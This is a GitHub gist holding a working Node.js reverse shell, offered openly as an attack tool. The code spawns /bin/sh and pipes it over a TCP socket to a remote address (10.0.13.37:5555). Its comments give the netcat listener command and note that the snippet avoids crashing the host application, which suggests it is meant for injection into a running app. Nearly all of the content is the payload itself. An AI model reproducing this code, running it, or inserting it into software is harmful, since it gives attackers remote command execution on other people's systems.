Created
March 15, 2021 16:43
-
-
Save secoats/44b9b42920ac4a825e54e7310303cfdb to your computer and use it in GitHub Desktop.
Nodejs Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Stolen from: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell | |
// Nodejs reverse shell | |
// listen with: nc -vlnp 5555 | |
// adjust the ip address obviously | |
(function(){ | |
var net = require("net"), | |
cp = require("child_process"), | |
sh = cp.spawn("/bin/sh", []); | |
var client = new net.Socket(); | |
client.connect(5555, "10.0.13.37", function(){ | |
client.pipe(sh.stdin); | |
sh.stdout.pipe(client); | |
sh.stderr.pipe(client); | |
}); | |
return /a/; // Prevents the Node.js application form crashing | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment